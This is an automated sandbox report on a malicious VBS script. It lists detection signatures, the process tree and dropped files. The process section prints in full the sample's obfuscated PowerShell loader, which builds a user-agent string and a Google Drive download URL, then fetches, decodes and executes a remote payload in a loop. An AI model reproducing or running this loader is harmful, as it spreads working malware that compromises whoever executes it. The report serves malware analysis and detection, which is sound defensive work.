Analysis
- max time kernel
148s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
07/06/2024, 01:14
General
- Target 1e009a22794bd1f20f0178e262db52562fa7f76a356e14823cb2b20c4d2f960b.vbs
- Size 23KB
- Sample240607-bll9nagb26
- SHA256 1e009a22794bd1f20f0178e262db52562fa7f76a356e14823cb2b20c4d2f960b
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1e009a22794bd1f20f0178e262db52562fa7f76a356e14823cb2b20c4d2f960b.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Phytogenic = 1;Function Abulia($Skraale){$Foundational=$Skraale.Length-$Phytogenic;$Tilkommen='Substring';For( $Bacteriohemolysin=7;$Bacteriohemolysin -lt $Foundational;$Bacteriohemolysin+=8){$Misthinks+=$Skraale.$Tilkommen.Invoke( $Bacteriohemolysin, $Phytogenic);}$Misthinks;}function Ifrelsernes($Trakkasseriet51){ . ($Disomatic) ($Trakkasseriet51);}$Frankotvang=Abulia 'SammensMRetanneoLoudensz WiretaiXer,maclUndersalSte,pelaPrefulg/ubesi d5Bisinua.Forbrug0Flamepr Telegn(Combi eWStinksvi KrlninnLuminisd Hvlsp,oUn.emaiwBlokf,isPer,pek Un,runkNsalgsstT Gen.em Modstn1Vrdighe0Sjaskre.unpuck.0Halvft ;Pros.cu R.tslrdWt,dsopdiDallysenMundunu6Bernici4Tvangsa;C.ntroi compl x Featur6Orbitsp4Backhoe;Krrenss Obje.tirTelephovOvermaa:Col,pla1Massivt2V,ndfal1Neokolo.Muonium0Ter ing) Sortbr Enh aveG bedreseDiverticOenskesk Progr.oTownsit/ Pr cis2,ostano0 Myosit1.referh0Copperh0Komm.so1Slagsty0 Ste.os1 Weens, OrbiculFMet.anuiForhandrGoders eLubricafdisconno BeetlexNonprac/Albsste1antropo2Pneu,on1Farmors. Progra0Aktivst ';$Monde=Abulia 'UntidilUSkos,rtsSelskabesmeekedrBrdnide-LigaturASortmejg VrinskeSpejlmonFjolleht betnks ';$rumorous=Abulia 'Poste.ih OsmundtActino tOmslyngpChalinas Tr,ckf: Dojoar/Tzarist/Dyn.lspdprotomirHel ediiBioanalvDokumeneNona.ge.equ.poigFlankero Strgh.oSatirisgTankelslSty keleCoracle.,ormasacEngineroForstuvmA.tityr/PerineuuKyri.lfcAlfarve?FolkesteForetokxUsaa,bapSandpumoSattertrTepefietFragtmn=um.liusdU.wrinkoBekrigew Orato.n SurfaclImplyinodiskfejaFangersd.ibilat&Dig.naliEkskommdBilledb=Kimende1Folkere1IncommuwBolsh.eNAf,opni7NeedlebMEngro,htStranspd bierstK Furiesz Uddi tq AlpheaA iscompFMue,tet1 ValeriQMutant.wTomorrof Indfa.JEndotrawRunklysPUnsqueeobandura4 CerebriChapelmg OxhoftcHarmoni9BhutanelVkstpoleOrpheusUMissilesIndope,T Udh.gnR.alborgxkatalog ';$sprogfejls=Abulia 'Poiente>Predefi ';$Disomatic=Abulia 'TellsopiNorbergeS andarxSolemni ';$Kluppernes='cargoes';$Udbyg = Abulia 'fuldfreesmreostcSpn.inghTry lekoWid wer Sacr ve%Sttteora LepidopKo munep OverstdKbebeneaBlasfemtEventyraVuggge,% Mimose\ uimpeRGangestaRigmandctamgscoeRegrowta Kor endRetrocos blindfkPhytogei gilitil,hmndsalEnneaeteldrecenlSemitrosYaf.lerePrves pnElectres Annabe.Ho erebELerduesk liments,rbicul Po,tmor&Skydnin&Margeun SurrogaeCebri,ec tympanhIsolereoAgricul Modsv.rtGorgeab ';Ifrelsernes (Abulia 'Dyrekro$ AcocangNuditarlB gfinnogy,atiob WettisatarmenelU trigg:Plnekl,NMagnetpeFor.olduUn.torerVamp.reoMaraudspUdtringsFeers,ayPraeneskwaterheoB holdnlNoncon oFeltmadgpreambliSnobbes=Aggres ( P ndercBestrgnmFrstedadBleater Starree/ HospitcSletsst improvi$MalacodUfyrvrkedEmowillbFremtidy B,kkesgStangla)sprogfo ');Ifrelsernes (Abulia ' U,dema$Atama.sgForsinklDbefonto omskifbUn.turlaAtomistlKnurryh:DeformeHNonhectyCrucifedQuattu rBetragtoSpndeskpEnemrk.hI tenseoVildestr PrimipiPlasticaMicropa1Sextari0 Seatwo1Turbola=Grafitt$ Acetylrmicr buuTankedemphoenicoDolkhalrKodestroSna.shouSumptios Tc,def.Inc,rces ProtagpEkstravl HedisbiUnskepttGe,logs(Motivet$C,llfalsM,gaworp Erhverr SvineroGyesreggMerriesf KaffeheTurbinajV skesblCi.atris Ade.sk)Balance ');$rumorous=$Hydrophoria101[0];$Storified= (Abulia 'Krabask$ HebdomgHatterilSakellioGu.linebVithusaaSvmmebalKnap.ag: F,okosH Brookey Kontorp FonoloeP,ecompr Klar.rmForstrko,hemiserUnglimpp,ilmstjhOvermuci PsykiacOli,opo=BehooveNSuf,useePharyngw Lno.er-Trol,ndOMarkdowbHik texjEylevcaeCentralcPopulartInterpa HemorrhSTraine yLg.deposFusionst Gowfe.e FlexiomSm.ggle.Beav reNversifie Finer.tAnagene.AchromaWPyralideTophemmbGasteroCSharpe,lBog.ussi ngslieCoryphan Upg,tht');$Storified+=$Neuropsykologi[1];Ifrelsernes ($Storified);Ifrelsernes (Abulia 'bredest$ ElectrHAdoptioy Ext.ngpGnarrineLaciestr EksorcmGtev enoSpidsh.rNonnumepSprinklhHoreungi.jrnskocDrt.ine.ReindexHClioneaeJomfrufasatsmuldBra.dere T.rnenrRepatrosGenbrug[ Sidelo$Po.tiaeMantistoojor rysnGodskridAttr kte engang]Reduitn=Flemest$SubversFPatologrOpenedcaCongaernUnlaughkFalholdoDrgrebetNonde,avTwinkl,a Skyldnn Enzymog Redego ');$Sjasker=Abulia 'T.dsbun$UsneaceH Husbaay.nnotatpPedagogeGod.oonrMaskinsmCapacito UnqualrInval dp Stal chDec,duaiP easancHyaeni .Ind,speDAl ctoroCusteriwAsiderinmikrosklTrirhomoSalpeteaPhilos.d Ka,pieFcanoniciAntib.sl Eksamie Na,cis(Sta sma$Ener.iurTidspriu Tele hmAmobarboFiduci,rMeigomio Fr,mdeuEgnet esWhirla,,Skovman$thorst.HSideopdyVaporarpf otagee Lionisr ericulm MutualnKvalitee clasp sRoadiesi,piniassKontoha)Overhur ';$Hypermnesis=$Neuropsykologi[0];Ifrelsernes (Abulia ' ,aelke$ Wimpl,gBrsnotel NonbuyoRelig,ob Co,odiaHemithylAmbodex:D orusuVRumexdaaG.otenuk T knokuA.gledouInddatamChinsabpMis uota mnibuskAn ispikFartblleBanza,tn Orth.cd Tumm eeKubiste=Sparek.(HusmandTMiljbese Dem,ras Overf tBilagen-Hyphom PredivivaArgume,ttizwinshSkbnebe mnem ni$noninciHBrysth.yAcc,lerpProcente U,unstrFotohanmA muesknSideroseOxyblepsParalleiFysiolosIsocitr)Nnneth ');while (!$Vakuumpakkende) {Ifrelsernes (Abulia ' St ame$ Kerat.g mponerlDeparteoIcht.yob SquaweaIsthmiclIncoach: .nindiF ekstreoStutterrUglesdosSchat,miB omkaakCro chsrMingieliPassivinI.lustrgColl,qusYourtspuSyesh.ddAm.hibigAgg,egaiAnmeldefpetiol,tEgetforsBerling=Microcy$ BuckodtUndecenr deologuSttte.oe Unneur ') ;Ifrelsernes $Sjasker;Ifrelsernes (Abulia 'Frigno,SPaurometKortadraBestowirK.editstDinosau- DefuncS NorthelSc,ibateHandl,neFrynsetpDecor u Bnde,or4,iggers ');Ifrelsernes (Abulia 'Aiesavi$ Ey.ssdgRegresklAn ammeoSkivesnbMimiskraGyn,collUvidenh:ImpersoVFamilieakarshaskKmpe,isu SkrfsfuDeatha,m Tu,abipUbelastaPjaltetkEkspatrkoutliveeHjforrdn Vestu,d StemmeeTranspa=Pludder(FarveklTNit.idieDatamassshrugsftcrinicu- ralretPMonocaraUdskilltDisks.eh Efters astonis$uskadelHPythoniyJollif.p SkivebeFew rilrPerce,vmHjlp fonP,eudose D.spons NonindiCharacis anihot)P enumd ') ;Ifrelsernes (Abulia 'Onarisf$Digestog tatiktl S,rraio Arcualb Bill.dabrdbilllMulatto:uddunstD ingeniaForldrel FdestelUtilstriStjdmpeaCaulifonHallo,tcUdf ktueBid.agssMiddl b=Ind,ksm$ dipodigTelefonlBrandf oDobbeltbTopgrafaLigebe.l elaant:Hyrevo A,enitensCo.pingp Befez rClammeri NektonnMa colrgSuperor+Snickdr+ Hoveds%Patriot$JehovisHNocturnyMylomard Ko,fderTigerjeoSuperhapIndeksnh GeneraoBivuakerThunderi GumptiaFllesin1Antifon0Kortslu1 Forfan.CervicocskylighoNon onsuSkrinlgnBalleprtNunciot ') ;$rumorous=$Hydrophoria101[$Dalliances];}$Lixiviates=358088;$amine=30186;Ifrelsernes (Abulia 'Interpe$ Konfidg KampbelSparreroSerieprbGruppesaPlatit lSubmari:biocyclJ,chalbua,iskehaeSyle,shvUnconfonDuttendaIndentllForsvrgdStorkunr.hitefieHybenetnEkoimondM.ntalhe Ga.mel Trans.o=Nyroman NonresGingenuiePompi ntModersk-Seg,egaCSai douoScopernnBroderitDegnesteBoisternTalehretInde,in egenvg$ EndemoH bant,sySalva.epDisord,eMontgolrdaisistmHepatolnMabl.ngetillbersUnplentiCoen,mosdoktord ');Ifrelsernes (Abulia 'Relater$Incentig.minsbilPu,cticoXirax rbPrincipaS.aapakl Genera:ReviverSHurricatDam.reniLeveda.l Au.harl Basicie Ceco rvReggeame,tilemnjpo itiosepididyoKvletsmmmelato,raxis mmaHal.nasaUrosepsdVildfreeStagnat Occamis= Fldete Panorer[Pli,pitS TidsflyUbjetc,sPaatryktSm,laaseCareiremCultusr. iktatuCCroos.uoTerminanRearguevhundeaneUncolorrBlottsltRemssab]Un.nnoc:Kiwinro:FrugtsoF Informr CarsteoFa.etsgm lufrdiBAfhjlpea BrogmosNothingeLigesti6materie4 unawfuSKlassiftInst.turHjagtetiBesparenIsb okkg Sydame( Muscul$HansardJforlorea stol.mebaaskaav Ule,pen EnteroaMovereslTommeafdRitualir Baba,leStartprn eskikkdSlvsgooeFidelt,) Kerati ');Ifrelsernes (Abulia ' Opslag$G,ungiegDemerarl.itigato Pat.llb SpartlaSangbgelSinolog: ug ldiPOverf.ohEgenpeno OrlonrsSmaaovepDahabeah,mericaa ZygosptSaarraniSkafnincIndskri Umtteli=.enopia landsle[IndustrS Brist.yOutcasts F,rpupt YuitubeDaahjormSaarfeb. La,dsrTtelevieeOverfatxR darovtData,ty.Sl.gkraESul aninSnoblincSig,rstoPrventidMotliesiDemisoln Epic,eg,ensmar]Vandret:Jeewhil:permutaA Sniks,SPolianuCIngeburIFr.msigISvips.n. StressGStr mmee Uslebnt,ntiewhS DussertBooke,irPlethodikertr.nn Sli.kegBegrav,(Myelatr$NdsagemS SlaanitkursusliBredbaal KitalplShantyeeVerden vNonvolceLo kletjbru.erasLnklassoAldimedm Qui dirPaalggeane.skriaKryolitd Ungdome Spor,p)Alde,ma ');Ifrelsernes (Abulia 'Chemoth$RerubbagCondolilBin,miao SammenbLavoltaaSennep lPrestim:Necrobip gr,llros.ampero errati=Shippin$ShmoozePHyretsdhAutacoio vlstvesJustitspPron mphHoughfoaPreendotan umzeiBulterbc S,magt.AntilipsMycop,ouUdstenib subaposEpigr ptScler,mr,rhverviMilieumnSwooningTrainma(In erio$UserspoL Fldeski Patr.nxRugolasiPerambuv AksecyiS,idsenaGe ottet Turmo.eSelvsamsGrdesa , Svensk$AskesgraruralesmSastrugiTagrretnbirdshoeMon.chl)Elstona ');Ifrelsernes $poo;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Raceadskillelsens.Eks && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Pilars.txt
Pilars.txt
Pilars.txt
Pilars.txt
Pilars.txt
__PSScriptPolicyTest_25luyttq.4wu.ps1
memory/2860-307-0x00007FFB83F33000-0x00007FFB83F35000-memory.dmp
memory/2860-308-0x0000020C1D3B0000-0x0000020C1D3D2000-memory.dmp
memory/2860-318-0x00007FFB83F30000-0x00007FFB849F1000-memory.dmp
memory/2860-319-0x00007FFB83F30000-0x00007FFB849F1000-memory.dmp
memory/2860-322-0x00007FFB83F30000-0x00007FFB849F1000-memory.dmp
memory/2860-325-0x00007FFB83F30000-0x00007FFB849F1000-memory.dmp